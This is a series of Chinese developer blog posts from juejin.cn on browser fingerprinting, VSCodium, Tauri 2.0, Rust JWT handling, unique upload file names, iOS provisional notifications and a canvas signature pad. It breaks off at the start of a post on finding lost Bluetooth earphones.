未登录也能知道你是谁?浏览器指纹了解一下!
引言
大多数人都遇到过这种场景,我在某个网站上浏览过的信息,但我并未登录,可是到了另一个网站发现被推送了类似的广告,这是为什么呢?
本文将介绍一种浏览器指纹的概念,以及如何利用它来判断浏览者身份。
浏览器指纹
浏览器指纹是指通过浏览器的特征来唯一标识用户身份的一种技术。
它通过记录用户浏览器的一些基本信息,包括操作系统、浏览器类型、浏览器版本、屏幕分辨率、字体、颜色深度、插件、时间戳等,通过这些信息,可以唯一标识用户身份。
应用场景
其实浏览器指纹这类的技术已经被运用的很广泛了,通常都是用在一些网站用途上,比如:
- 资讯等网站:精准推送一些你感兴趣的资讯给你看
- 购物网站: 精确推送一些你近期浏览量比较多的商品展示给你看
- 广告投放: 有一些网站是会有根据你的喜好,去投放不同的广告给你看的,大家在一些网站上经常会看到广告投放吧?
- 网站防刷: 有了浏览器指纹,就可以防止一些恶意用户的恶意刷浏览量,因为后端可以通过浏览器指纹认得这些恶意用户,所以可以防止这些用户的恶意行为
- 网站统计: 通过浏览器指纹,网站可以统计用户的访问信息,比如用户的地理位置、访问时间、访问频率等,从而更好的为用户提供服务
如何获取浏览器指纹
指纹算法有很多,这里介绍一个网站 https://browserleaks.com/
上面介绍了很多种指纹,可以根据自己的需要选择。
这里我们看一看canvas,可以看到光靠一个canvas的信息区分,就可以做到15万用户只有7个是重复的,如果结合其他信息,那么就可以做到更精准的识别。
canvas指纹
canvas
指纹的原理就是通过 canvas
生成一张图片,然后将图片的像素点信息记录下来,作为指纹信息。
不同的浏览器、操作系统、cpu、显卡等等,画出来的 canvas 是不一样的,甚至可能是唯一的。
具体步骤如下:
- 用canvas 绘制一个图像,在画布上渲染图像的方式可能因web浏览器、操作系统、图形卡和其他因素而异,从而生成可用于创建指纹的唯一图像。在画布上呈现文本的方式也可能因不同web浏览器和操作系统使用的字体渲染设置和抗锯齿算法而异。
- 要从画布生成签名,我们需要通过调用
toDataURL()
函数从应用程序的内存中提取像素。此函数返回表示二进制图像文件的base64
编码字符串。然后,我们可以计算该字符串的MD5
哈希来获得画布指纹。或者,我们可以从IDAT块
中提取CRC校验和
,IDAT块
位于每个PNG
文件末尾的16到12个字节处,并将其用作画布指纹。
我们来看看结果,可以知道,无论是否在无痕模式下,都可以生成相同的 canvas
指纹。
换台设备试试
其他浏览器指纹
除了canvas
,还有很多其他的浏览器指纹,比如:
WebGL 指纹
WebGL(Web图形库)
是一个 JavaScript API
,可在任何兼容的 Web
浏览器中渲染高性能的交互式 3D
和 2D
图形,而无需使用插件。
WebGL
通过引入一个与 OpenGL ES 2.0
非常一致的 API
来做到这一点,该 API
可以在 HTML5
元素中使用。
这种一致性使 API
可以利用用户设备提供的硬件图形加速。
网站可以利用 WebGL
来识别设备指纹,一般可以用两种方式来做到指纹生产:
WebGL 报告
——完整的 WebGL
浏览器报告表是可获取、可被检测的。在一些情况下,它会被转换成为哈希值以便更快地进行分析。
WebGL 图像
——渲染和转换为哈希值的隐藏 3D
图像。由于最终结果取决于进行计算的硬件设备,因此此方法会为设备及其驱动程序的不同组合生成唯一值。这种方式为不同的设备组合和驱动程序生成了唯一值。
可以通过 Browserleaks test
检测网站来查看网站可以通过该 API
获取哪些信息。
产生 WebGL
指纹原理是首先需要用着色器(shaders)
绘制一个梯度对象,并将这个图片转换为Base64
字符串。
然后枚举 WebGL
所有的拓展和功能,并将他们添加到 Base64
字符串上,从而产生一个巨大的字符串,这个字符串在每台设备上可能是非常独特的。
例如 fingerprint2js
库的 WebGL
指纹生产方式:
HTTP标头
每当浏览器向服务器发送请求时,它会附带一个HTTP标头,其中包含了诸如浏览器类型、操作系统、语言偏好等信息。
这些信息可以帮助网站优化用户体验,但同时也能用来识别和追踪用户。
屏幕分辨率
屏幕分辨率指的是浏览器窗口的大小和设备屏幕的能力,这个参数因用户设备的不同而有所差异,为浏览器指纹提供了又一个独特的数据点。
时区
用户设备的本地时间和日期设置可以透露其地理位置信息,这对于需要提供地区特定内容的服务来说是很有价值的。
浏览器插件
用户安装的插件列表是非常独特的,可以帮助形成识别个体的浏览器指纹。
音频和视频指纹
通过分析浏览器处理音频和视频的方式,网站可以获取关于用户设备音频和视频硬件的信息,这也可以用来构建用户的浏览器指纹。
那么如何防止浏览器指纹呢?
先讲结论,成本比较高,一般人不会使用。
现在开始实践,根据上述的原理,我们知道了如何生成一个浏览器指纹,我们只需要它在获取toDataURL
时,修改其中的内容,那么结果就回产生差异,从而无法通过浏览器指纹进行识别。
那么,我们如何修改toDataURL
的内容呢?
我们不知道它会在哪里调用,所以我们只能通过修改它的原型链来修改。
又或者使用专门的指纹浏览,该浏览器可以随意切换js版本等信息来造成无序的随机值。
修改 toDataURL
第三方指纹库
FingerprintJS
FingerprintJS
是一个源代码可用的客户端浏览器指纹库,用于查询浏览器属性并从中计算散列访问者标识符。
与cookie
和本地存储不同,指纹在匿名/私人模式下保持不变,即使浏览器数据被清除。
ClientJS Library
ClientJS
是另一个常用的JavaScript
库,它通过检测浏览器的多个属性来生成指纹。
该库提供了易于使用的接口,适用于多种浏览器指纹应用场景。
来源:juejin.cn/post/7382344353069088803
告别 VSCode:VSCodium 自由开发之旅
Visual Studio Code (VSCode)
是一个由微软开发的免费源代码编辑器,它在开发者社区中非常受欢迎。然而,对于那些寻求完全开源替代方案的人来说,VSCodium 成为了一个不错的选择。下面我将撰写一篇关于 VSCodium 的文章,并阐述它与 VSCode 的主要区别。
VSCodium:自由且开放的开发环境
VSCodium 是一个基于 Visual Studio Code(简称 VSCode)的开源版本控制集成开发环境(IDE)。它不仅提供了与 VSCode 相同的强大功能,还去除了专有软件组件,确保了软件的自由度和透明度。
VSCodium 的特点
- 完全开源:VSCodium 是完全基于 MIT 许可证发布的,这意味着它的源代码是完全公开的,用户可以自由地查看、修改和分发其副本。
- 无数据收集:与 VSCode 不同的是,VSCodium 默认不会发送遥测数据或任何其他信息到微软服务器,这对于注重隐私的开发者来说是一个重要的优势。
- 社区驱动:由于其开源性质,VSCodium 可以通过社区贡献来改进和发展,任何人都可以参与到项目的维护和发展中来。
- 跨平台支持:VSCodium 支持 Windows、macOS 和 Linux 操作系统,为不同平台上的开发者提供了一致的- - 使用体验。
VSCodium 与 VSCode 的主要区别
尽管 VSCodium 和 VSCode 在功能上非常相似,但它们之间存在一些关键差异:
许可证与所有权:
- VSCode 虽然也是免费的,但它使用的是专有的“源码可用”许可证,并且由微软拥有和维护。
- VSCodium 则是完全开源的,遵循 MIT 许可证。
数据收集:
- VSCode 默认会收集一些使用数据,虽然这些数据主要用于改善产品,但对于部分用户来说可能是一个隐私问题。
- VSCodium 去除了所有与数据收集相关的功能,保证用户的隐私不受侵犯。
扩展生态系统:
- VSCode 有一个庞大的官方市场,其中包含了大量的插件和扩展,这使得它成为很多开发者的首选。
- VSCodium 使用相同的扩展格式,但由于其相对较小的用户基数,某些插件可能首先发布在 VSCode 市场上。
更新和支持:
- VSCode 得到了微软的强大支持,通常会有更频繁的更新和新特性发布。
- VSCodium 的更新频率取决于社区贡献者的工作,虽然它通常会紧跟 VSCode 的步伐,但在某些情况下可能会稍微滞后。
下载和安装
使用
与vscode基本相同。
结论
选择 VSCodium 还是 VSCode 主要取决于个人的需求和价值观。如果你重视隐私并且希望使用完全开源的工具,那么 VSCodium 将是一个很好的选择。如果你更看重官方支持以及广泛的插件生态系统,那么 VSCode 仍然是一个强大的开发工具。无论选择哪一个,你都将获得一个功能强大、灵活且易于使用的 IDE。
来源:juejin.cn/post/7424908830902485044
Tauri2.0 发布!不止于桌面!这次的“王炸”是移动端支持
开发桌面应用已经不再是唯一的战场,随着移动设备的普及,跨平台开发成了趋势。最近,Tauri带来了一个让开发者眼前一亮的功能——移动端支持。是的,Tauri不仅能开发轻量级桌面应用,还可以打通移动平台。这就像是它的“王炸”,在保持轻量化和高效的同时,直接扩展到移动端,瞬间吊打许多传统框架。
接下来,我们一起来看看Tauri的移动端支持,如何让它成为开发者的新宠。
1. 从桌面到移动:跨平台的真正意义
首先,我们要明确一点,Tauri的核心竞争力就是跨平台开发。过去它的焦点主要集中在Windows、macOS和Linux三大桌面系统上,能够让你用前端技术快速开发出轻量级桌面应用。如今,它打破了这一界限,开始支持iOS和Android移动端,这让开发者可以在一个统一的框架下,写出同时适配桌面和移动的应用。
对于开发者来说,这意味着更高的开发效率——你不需要为不同的系统做繁琐的适配工作,也不必纠结于不同平台的特性差异。只需要一个代码库,Tauri就能帮你搞定桌面和移动端,真正实现“一次开发,多端运行”。
2. 移动端支持的背后:依然轻量化
说到跨平台框架,大家可能会想到Flutter或者React Native,它们也支持移动端开发,但往往伴随着较大的应用体积和较高的资源消耗。Tauri则依然保持了它一贯的轻量化特性。通过依赖系统自带的WebView,Tauri的应用体积相对其他框架要小得多。
举个例子,同样是一个展示信息的应用,使用Tauri开发的移动端应用安装包可能比Flutter小很多。对用户来说,这种轻量化带来的优势显而易见:更快的下载速度、更少的存储空间占用,尤其适合那些存储空间紧张的设备。
3. 全平台一致的开发体验
Tauri的另一大优势就是它对开发者友好的体验。如果你是前端开发者,你可以继续使用你熟悉的前端技术栈(例如React、Vue、Svelte等),几乎没有学习成本。现在,你不仅能用这些技术来开发桌面应用,还可以直接迁移到移动端,这样的开发一致性大大降低了学习和维护成本。
而且,Tauri的API不仅支持桌面系统的功能调用,现在也在逐步支持移动端的特性。这意味着你可以在同一个代码库中同时调用桌面和移动端的系统功能,而不必为不同的设备写不同的代码。
例如,你可以通过Tauri提供的API来访问手机的传感器、相机等功能,未来它还将进一步扩展对移动端特性的支持。
import { open } from '@tauri-apps/plugin-dialog';
// when using `"withGlobalTauri": true`, you may use
// const { open } = window.__TAURI__.dialog;
// Open a dialog
const file = await open({
multiple: false,
directory: false,
});
console.log(file);
// Prints file path or URI
上面的代码不仅可以在桌面应用中运行,未来也能扩展到移动端,实现类似的功能调用。这种开发体验的统一性,对于希望快速上线跨平台应用的开发者来说,绝对是个福音。
4. Tauri在移动端的性能表现
性能问题总是开发者最关心的点。和Flutter这类框架不同,Tauri并没有选择单独构建一个跨平台的UI框架,而是借助操作系统自带的WebView,这样不仅保证了轻量化,还能依托于WebView的优化,带来较好的性能表现。
在移动端,Tauri同样依赖于系统的WebView,这意味着你不必担心额外的资源开销。只要用户的系统WebView版本足够新,应用的启动速度和渲染性能都能得到保障。而且,Tauri团队还在不断优化移动端的支持,未来的性能提升值得期待。
5. 为什么选择Tauri开发移动端应用?
总结一下,如果你是一名前端开发者,或者希望在一个框架下同时支持桌面和移动端,Tauri无疑是一个非常有吸引力的选择。它不仅帮助你用熟悉的前端技术快速开发应用,还通过轻量化设计和跨平台支持,解决了传统框架的种种痛点。
无论是应用体积、性能还是开发体验,Tauri都提供了一个高效且轻量的解决方案。对于那些追求高效开发、同时需要支持桌面和移动端的项目,Tauri的移动端支持就是它的“王炸”。
一些思考:
随着Tauri逐步扩展对移动端的支持,它正从一个桌面应用开发框架,进化为一个真正的全平台开发工具。如果你正在寻找一个轻量化的跨平台解决方案,或者想让你的应用跑在更多设备上,不妨试试Tauri,说不定这就是你一直在找的那个“它”。但是,如果说你的团队准备做一个现象级的产品,可能目前还并不适合,因为 tarui 团队自身看起来也并没有敲定移动端的完美方案,可能后续还会有所调整,追求性能、安全性的同时,还有一个更重要的事情是,兼容性,稳定性,你觉得呢?欢迎留言,掰扯掰扯。
来源:juejin.cn/post/7420980084361625600
一分钟学会 Rust 生成 JWT和校验
JWT 在 web 开发中作用毋庸置疑。下面我们快速的了解 jwt 在 rust 中的使用。
JWT 基础知识
JWT 是一种用于安全传输信息的轻量级、无状态的标准,适用于身份验证和信息交换场景。通过签名验证和自包含的声明,它能够高效地传递用户信息,同时减少服务器负担。
JWT 组成
Header.Payload.Signature
- Header: 类型(typ)和算法(alg, 指定 hash 签名算法),Header 对象会被比 base64URL 编码。
- Payload:负载部分(事件传递的数据),可以分为三类:
注册 Claims
、公共 Claims
以及私有 Claims
,Payload 也会被 base64URL 编码。 - Signature: 签名部分,用于验证消息的完整性,并确保消息在传输过程中未被篡改。
他们直接通过点 .
链接
依赖
[dependencies]
chrono = "0.4.38"
dotenv = "0.15.0"
jsonwebtoken = { version = "9.3.0", features = [] }
serde = { version = "1.0.210", features = ["derive"] }
env 文件
使用 dotenv 将 jwt 需要 secet 放在 env 文件中
JWT_SECRET=your_secret_key
token 的创建和解析
生成解析 token 需要:
- Algorithm 算法
- Claims 有效负载数据。
- chrono 世间处理
实现
jwt 创建和解析十分重要,我们将 jwt 的单独封装到 utils/jwt.rs下
use jsonwebtoken::{encode, decode, Header, Validation, EncodingKey, DecodingKey, Algorithm, TokenData};
use serde::{Serialize, Deserialize};
use chrono::{Utc, Duration};
use std::error::Error;
use std::env;
// Define the claims structure
#[derive(Debug, Serialize, Deserialize)]
pub struct Claims {
sub: String, // Subject (user ID, email, etc.)
exp: usize, // Expiration time (as UTC timestamp)
}
pub fn create_jwt(sub: &str) -> Result<String, Box<dyn Error>> {
let secret = env::var("JWT_SECRET").expect("JWT_SECRET must be set");
// Define some claims
let my_claims = Claims {
sub: sub.to_owned(),
exp: (Utc::now() + Duration::hours(24)).timestamp() as usize, // JWT expires in 24 hours
};
// Encoding the token
let token = encode(
&Header::default(),
&my_claims,
&EncodingKey::from_secret(secret.as_ref()),
)?;
Ok(token)
}
pub fn verify_jwt(token: &str) -> Result<TokenData<Claims>, Box<dyn Error>> {
let secret = env::var("JWT_SECRET").expect("JWT_SECRET must be set");
let token_data = decode::<Claims>(
token,
&DecodingKey::from_secret(secret.as_ref()),
&Validation::new(Algorithm::HS256),
)?;
Ok(token_data)
}
- create_jwt 对外暴露,接受 sub 作为参数,传递给 Claims 结构体。然后使用 encode 进行加密即可。
- verify_jwt 一般是用在请求拦截器中,请求头中 headers 获取 token 进行解析。
小结
本文主要讲解 jwt 在 rust 中使用。本质就是 Claims 对象和 token 创建与解析。我们需要一些 web 组件像 jsonwebtoken、chrono、dotenv 和 serde 等。JWT 往往单独的放在一个单独的 utils 模块中方便能使用时调用。
来源:juejin.cn/post/7424901483987304463
如何为上传文件取一个唯一的文件名
作者:陈杰
背景
古茗内部有一个 CDN 文件上传平台,用户在平台上传文件时,会将文件上传至阿里云 OSS 对象存储,并将 OSS 链接转换成 CDN 链接返回给用户,即可通过 CDN 链接访问到文件资源。我们对 CDN 文件的缓存策略是持久化强缓存(Cache-Control: public, max-age=31536000
),这就要求所有上传文件的文件名都是唯一的,否则就有文件被覆盖的风险。有哪些方式可以保证文件名全局唯一?
唯一命名方式
方式一:使用时间戳+随机数
这是我们最容易想到的一种方式:
const name = Date.now() + Math.random().toString().slice(2, 6);
// '17267354922380490'
使用时间戳,加上 4 位随机数,已经可以 99.99999% 保证不会存在文件名重复。可以稍微优化一下:
const name = Date.now().toString(36) + Math.random().toString(36).slice(2, 6);
// 'm191x7bii63s'
将时间戳和随机数分别转换成 36 进制,以减少字符串长度。通过上面一步优化可以将字符长度从 17 位减少至 12 位。
使用时间戳+随机数作为文件名的优势是简单粗暴,基本上可以满足述求;但是有极小概率存在文件名冲突的可能。
方式二:使用文件 MD5 值
生成文件的 MD5 Hash 摘要值,在 node 中代码示例如下:
const crypto = require('crypto');
const name = crypto.createHash('md5').update([file]).digest('hex');
// 'f668bd04d1a6cfc29378e24829cddba9'
文件的 MD5 Hash 值可以当成文件指纹,每个文件都会生成唯一的 hash 值(有极小的概率会 hash 碰撞,可以忽略)。使用 MD5 Hash 值作为文件名还可以避免相同文件重复上传;但是缺点是文件名较长。
方式三:使用 UUID
UUID (通用唯一识别码) 是用于计算机体系中以识别信息的一个标识符,重复的概率接近零,可以忽略不计。生成的 UUID 大概长这样:279e573f-c787-4a84-bafb-dfdc98f445cc。
使用 UUID 作为文件名的缺点也是文件名较长。
最终方案
从上述的几种命名方式可以看出,每种方式都有各种的优缺点,直接作为 OSS 的文件命名都不是很满意(期望 CDN 链接尽可能简短)。所以我们通过优化时间戳+随机数方式来作为最终方案版本。
本质上还是基于时间戳、随机数 2 部分来组成文件名,但是有以下几点优化:
- 由于 CDN 链接区分大小写,可以充分利用 数字+大写字母+小写字母(一共 62 个字符),也就是可以转成 62 进制,来进一步缩短字符长度
- 时间戳数字的定义是,当前时间减去 1970-01-01 的毫秒数。显然在 2024 年的今天,这个数字是非常大的。对此,可以使用 当前时间减去 2024-01-01 的毫秒数 来优化,这会大幅减少时间戳数字大小(2024-01-01 这个时间点是固定的,而且必须是功能上线前的一个时间点,确保不会减出负数)
示例代码如下:
/**
* 10 进制整数转 62 进制
*/
function integerToBase62(value) {
const base62Chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
const base62 = base62Chars.length;
value = parseInt(value);
if (isNaN(value) || !value) {
return String(value);
}
let prefix = '';
if (value < 0) {
value = -value;
prefix = '-';
}
let result = '';
while (value > 0) {
const remainder = value % base62;
result = base62Chars[remainder] + result;
value = Math.floor(value / base62);
}
return prefix + result || '0';
}
const part1 = integerToBase62(Date.now() - new Date('2024-01-01').getTime()); // 'OkLdmK'
const part2 = integerToBase62(Math.random() * 1000000).slice(-4); // '3hLT'
const name = part1 + part2; // 'OkLdmK3hLT'
最终文件名字符长度减少到 10 位。但是始终感觉给 4 位随机数太浪费了,于是想着能否在保证唯一性的同时,还能减少随机数的位数。那就只能看看时间戳部分还能不能压榨一下。
只要能保证同一毫秒内只生成一个文件的文件名,就可以保证这个文件名是唯一的,这样的话,随机数部分都可以不要了,所以可以做如下优化:
// 伪代码
async function getFileName() {
// 等待锁释放,并发调用时保证至少等待 1ms
await waitLockRelease();
return integerToBase62(Date.now() - new Date('2024-01-01').getTime());
}
const name = await getFileName();
// 'OkLdmK'
由于 node 服务线上是多实例部署,所以 waitLockRelease
方法是基于 Redis 来实现多进程间加锁,保证多进程间创建的文件名也是唯一的。与此同时,还额外加上了一位随机数,来做冗余设计。最终将文件名字符长度减少至 7 位,且可以 100% 保证唯一性!
总结
看似非常简单的一个问题,想要处理的比较严谨和完美,其实也不太容易,甚至引入了 62 进制编码及加锁逻辑的处理。希望本文的分享能给大家带来收获!
来源:juejin.cn/post/7424901430378545164
哪位 iOS 开发还不知道,没有权限也能发推送?
这里每天分享一个 iOS 的新知识,快来关注我吧
前言
在 iOS App 开发中,推送通知是一个非常有效地触答和吸引用户的措施,通知可以成为让用户保持用户的参与度。
但大家都知道,苹果上每个 App 想要发推送给用户,都需要首先申请对应的权限,只有用户明确点了允许之后才可以。
大部分的 App 都是在启动时直接申请权限,这样的话,用户可能会因为不了解 App 的情况而拒绝授权,就会导致 App 无法发送通知。
其实在 iOS 12 中有个方案叫做临时通知。这功能允许应用在没有申请到权限的情况下发送通知。
今天就来聊聊这个不为人知的隐藏功能。
请求临时授权
要请求临时授权,我们需要使用与请求完全授权相同的方法 requestAuthorization(options:completionHandler:)
,但需要添加 provisional
选项。
let center = UNUserNotificationCenter.current()
center.requestAuthorization(options: [.alert, .sound, .badge, .provisional]) { isSuccess, error in
if let error {
print("Error requesting notification authorization: \(error)")
} else if isSuccess {
print("Requesting notification authorization is successed")
} else {
print("Requesting notification authorization is failed")
}
}
如果不加 provisional
选项,那么当你调用这个方法时,会直接弹出授权弹窗:
加 provisional
选项后这段代码不会触发对话框来提示用户允许通知。它会在首次调用时静默地授予我们的应用通知权限。
由于用户无感知,所以我们不必等待合适的时机来请求授权,可以在应用一启动时就调用。
发送通知
为了展示我们应用通知对用户的确是有价值的,我们可以开始通过本地或远程通知来定位用户。这里我们将发送一个本地通知作为示例,但如果你想尝试远程推送通知,可以查看我之前的几篇文章。
为了测试临时通知流程,以下是发送一个将在设置后 10 秒触发的本地通知的示例:
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
let center = UNUserNotificationCenter.current()
center.requestAuthorization(options: [.alert, .sound, .badge, .provisional]) { isSuccess, error in
if let error {
print("Error requesting notification authorization: \(error)")
} else if isSuccess {
print("Requesting notification authorization is successed")
self.scheduleTestNotification()
} else {
print("Requesting notification authorization is failed")
}
}
return true
}
func scheduleTestNotification() {
let content = UNMutableNotificationContent()
content.title = "发现新事物!"
content.body = "点击探索你还未尝试的功能。"
let trigger = UNTimeIntervalNotificationTrigger(
timeInterval: 10,
repeats: false
)
let request = UNNotificationRequest(
identifier: UUID().uuidString,
content: content,
trigger: trigger
)
UNUserNotificationCenter.current().add(request) { error in
if let error = error {
print("Error scheduling notification: \(error)")
}
}
}
启动 App 后,我们退回到后台,等待 10 秒后,会看到我们发的通知已经出现在了通知中心中了。
此时可以看到这条通知中下边会出现两个按钮,如果用户想继续接受,就会点击继续接收按钮,如果不想继续接受,就会点击停止按钮。
如果用户点了停止按钮,那么就相当于我们应用的通知权限被用户拒绝了,相反的,如果用户点击了继续接收按钮,那么就相当于我们应用的通知权限被用户接受了。
鼓励用户完全授权
因此这条通知决定了用户是否继续接收我们 App 的通知,那么我们就需要慎重考虑这条通知的文案和时机,在用户体验到我们通知的好处之后,再发送这个通知,这样用户大概率就会选择继续接收通知。
如果用户仍然选择拒绝授权,我们还可以在 App 内的合适位置引导用户到设置页面去手动开启。
我这里写一个简单的示例,大家可以参考,先判断是否有权限,然后引导用户去设置页面。
class EnableNotificationsViewController: UIViewController {
private let titleLabel: UILabel = {
let label = UILabel()
label.text = "启用通知提示"
label.textAlignment = .center
label.font = UIFont.systemFont(ofSize: 20, weight: .bold)
label.translatesAutoresizingMaskIntoConstraints = false
return label
}()
private let descriptionLabel: UILabel = {
let label = UILabel()
label.text = "启用通知横幅和声音,保持最新了解我们的应用提供的一切。"
label.textAlignment = .center
label.numberOfLines = 0
label.translatesAutoresizingMaskIntoConstraints = false
return label
}()
private let settingsButton: UIButton = {
let button = UIButton(type: .system)
button.setTitle("去设置", for: .normal)
button.setTitleColor(.white, for: .normal)
button.backgroundColor = .systemBlue
button.layer.cornerRadius = 8
button.translatesAutoresizingMaskIntoConstraints = false
return button
}()
override func viewDidLoad() {
super.viewDidLoad()
setupUI()
}
private func setupUI() {
view.backgroundColor = .white
view.addSubview(titleLabel)
view.addSubview(descriptionLabel)
view.addSubview(settingsButton)
NSLayoutConstraint.activate([
titleLabel.topAnchor.constraint(equalTo: view.safeAreaLayoutGuide.topAnchor, constant: 20),
titleLabel.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 20),
titleLabel.trailingAnchor.constraint(equalTo: view.trailingAnchor, constant: -20),
descriptionLabel.topAnchor.constraint(equalTo: titleLabel.bottomAnchor, constant: 20),
descriptionLabel.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 20),
descriptionLabel.trailingAnchor.constraint(equalTo: view.trailingAnchor, constant: -20),
settingsButton.topAnchor.constraint(equalTo: descriptionLabel.bottomAnchor, constant: 30),
settingsButton.centerXAnchor.constraint(equalTo: view.centerXAnchor),
settingsButton.widthAnchor.constraint(equalToConstant: 120),
settingsButton.heightAnchor.constraint(equalToConstant: 44)
])
settingsButton.addTarget(self, action: #selector(openSettings), for: .touchUpInside)
}
@objc private func openSettings() {
if let url = URL(string: UIApplication.openSettingsURLString) {
UIApplication.shared.open(url)
}
}
}
// 检查通知权限
func checkNotificationAuthorization() {
let center = UNUserNotificationCenter.current()
center.getNotificationSettings { settings in
if settings.authorizationStatus == .authorized {
print("Notification authorization is authorized")
} else {
print("Notification authorization is not authorized")
}
}
}
最后
在我们的应用中实现临时通知是一种吸引用户的好方法,这其实也是苹果推荐的做法,创建一种尊重用户偏好的非侵入性通知体验,同时展示你应用通知的价值。
希望这篇文章对你有所帮助,如果你喜欢这篇文章,欢迎点赞、收藏、评论和转发,我们下期再见。
这里每天分享一个 iOS 的新知识,快来关注我吧
本文同步自微信公众号 “iOS新知”,每天准时分享一个新知识,这里只是同步,想要及时学到就来关注我吧!
来源:juejin.cn/post/7424335565121093672
签字板很难吗?纯 JS 实现一个!
前段时间有位同学问我:“公司项目中需要增加一个签字板的功能”,问我如何进行实现。
我说:“这种功能很简单呀,目前市面上有很多开源的库,比如:signature_pad
就可以直接引入实现”。
但是,该同学说自己公司的项目比较特殊,尽量不要使用 第三方的库,所以想要自己实现,那怎么办呢?
没办法!只能帮他实现一个了.
签字板实现逻辑
签字板的功能实现其实并不复杂,核心是 基于 canvas 的 2d
绘制能力,监听用户 鼠标 或者 手指 的移动行为,完成对应的 线绘制。
所以,想要实现签字板那么必须要有一个 canvas
,先看 html 的实现部分:
html
<body>
<canvas id="signature-pad" width="400" height="200">canvas>
<div class="controls">
<select id="stroke-style">
<option value="pen">钢笔option>
<option value="brush">毛笔option>
select>
<button id="clear">清空button>
div>
<script src="script.js">script>
body>
我们可以基于以上代码完成 HTML 布局,核心是两个内容:
canvas
画布:它是完成签字板的关键controls
控制器:通过它可以完成 画笔切换 以及 清空画布 的功能
css
css 相对比较简单,大家可以根据自己的需求进行调整就可以了,以下是 css 大家可以作为参考:
* {
margin: 0;
padding: 0;
}
body {
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
height: 100vh;
width: 100vw;
background-color: #f0f0f0;
overflow: hidden;
}
canvas {
border: 1px solid #000;
background-color: #fff;
}
.controls {
margin-top: 10px;
display: flex;
gap: 10px;
}
button,
select {
padding: 5px 10px;
cursor: pointer;
}
js
js 部分是整个签字板的核心,我们需要在这里考虑较多的内容,比如:
- 为了绘制更加平滑,我们需要使用
ctx.quadraticCurveTo
方法完成平滑过渡 - 为了解决移动端手指滑动滚动条的问题,我们需要在
move
事件中通过e.preventDefault()
取消默认行为 - 为了完成画笔切换,我们需要监听
select
的change
事件,从而修改ctx.lineWidth
画笔
最终得到的 js 代码如下所示(代码中提供的详细的注释):
document.addEventListener('DOMContentLoaded', function () {
// 获取 canvas 元素和其 2D 上下文
var canvas = document.getElementById('signature-pad')
var ctx = canvas.getContext('2d')
var drawing = false // 标志是否正在绘制
var lastX = 0,
lastY = 0 // 保存上一个点的坐标
var strokeStyle = 'pen' // 初始笔画样式
// 开始绘制的函数
function startDrawing(e) {
e.preventDefault() // 阻止默认行为,避免页面滚动
drawing = true // 设置为正在绘制
ctx.beginPath() // 开始新路径
// 记录初始点的位置
const { offsetX, offsetY } = getEventPosition(e)
lastX = offsetX
lastY = offsetY
ctx.moveTo(offsetX, offsetY) // 移动画笔到初始位置
}
// 绘制过程中的函数
function draw(e) {
e.preventDefault() // 阻止默认行为,避免页面滚动
if (!drawing) return // 如果不是在绘制,直接返回
// 获取当前触点位置
const { offsetX, offsetY } = getEventPosition(e)
// 使用贝塞尔曲线进行平滑过渡绘制
ctx.quadraticCurveTo(
lastX,
lastY,
(lastX + offsetX) / 2,
(lastY + offsetY) / 2
)
ctx.stroke() // 实际绘制路径
// 更新上一个点的位置
lastX = offsetX
lastY = offsetY
}
// 停止绘制的函数
function stopDrawing(e) {
e.preventDefault() // 阻止默认行为
drawing = false // 结束绘制状态
}
// 获取事件中触点的相对位置
function getEventPosition(e) {
// 鼠标事件或者触摸事件中的坐标
const offsetX = e.offsetX || e.touches[0].clientX - canvas.offsetLeft
const offsetY = e.offsetY || e.touches[0].clientY - canvas.offsetTop
return { offsetX, offsetY }
}
// 鼠标事件绑定
canvas.addEventListener('mousedown', startDrawing) // 鼠标按下开始绘制
canvas.addEventListener('mousemove', draw) // 鼠标移动时绘制
canvas.addEventListener('mouseup', stopDrawing) // 鼠标抬起停止绘制
canvas.addEventListener('mouseout', stopDrawing) // 鼠标移出画布停止绘制
// 触摸事件绑定
canvas.addEventListener('touchstart', startDrawing) // 触摸开始绘制
canvas.addEventListener('touchmove', draw) // 触摸移动时绘制
canvas.addEventListener('touchend', stopDrawing) // 触摸结束时停止绘制
canvas.addEventListener('touchcancel', stopDrawing) // 触摸取消时停止绘制
// 清除画布的功能
document.getElementById('clear').addEventListener('click', function () {
ctx.clearRect(0, 0, canvas.width, canvas.height) // 清空整个画布
})
// 修改笔画样式的功能
document
.getElementById('stroke-style')
.addEventListener('change', function (e) {
strokeStyle = e.target.value // 获取选中的笔画样式
updateStrokeStyle() // 更新样式
})
// 根据 strokeStyle 更新笔画样式
function updateStrokeStyle() {
if (strokeStyle === 'pen') {
ctx.lineWidth = 2 // 细线条
ctx.lineCap = 'round' // 线条末端圆角
} else if (strokeStyle === 'brush') {
ctx.lineWidth = 5 // 粗线条
ctx.lineCap = 'round' // 线条末端圆角
}
}
// 初始化默认的笔画样式
updateStrokeStyle()
})
以上就是 纯JS实现签字板的完整代码,大家可以直接组合代码进行使用,最终展示的结果如下:
来源:juejin.cn/post/7424498500890705935
蓝牙耳机丢了,我花几分钟写了一个小程序,找到了!
你是否曾经经历过蓝牙耳机不知道丢到哪里去的困扰?特别是忙碌的早晨,准备出门时才发现耳机不见了,整个心情都被影响。幸运的是,随着技术的进步,我们可以利用一些简单的小程序和蓝牙技术轻松找到丢失的耳机。今天,我要分享的是我如何通过一个自制的小程序,利用蓝牙发现功能,成功定位自己的耳机。这不仅是一次有趣的技术尝试,更是对日常生活中类似问题的一个智能化解决方案。
1. 蓝牙耳机丢失的困扰
现代生活中,蓝牙耳机几乎是每个人的必备品。然而,耳机的体积小、颜色常常与周围环境融为一体,导致丢失的情况时有发生。传统的寻找方式依赖于我们对耳机放置地点的记忆,但往往不尽人意。这时候,如果耳机还保持在开机状态,我们就可以借助蓝牙技术进行定位。然而,市场上大部分设备并没有自带这类功能,而我们完全可以通过编写小程序实现。
2. 蓝牙发现功能的原理
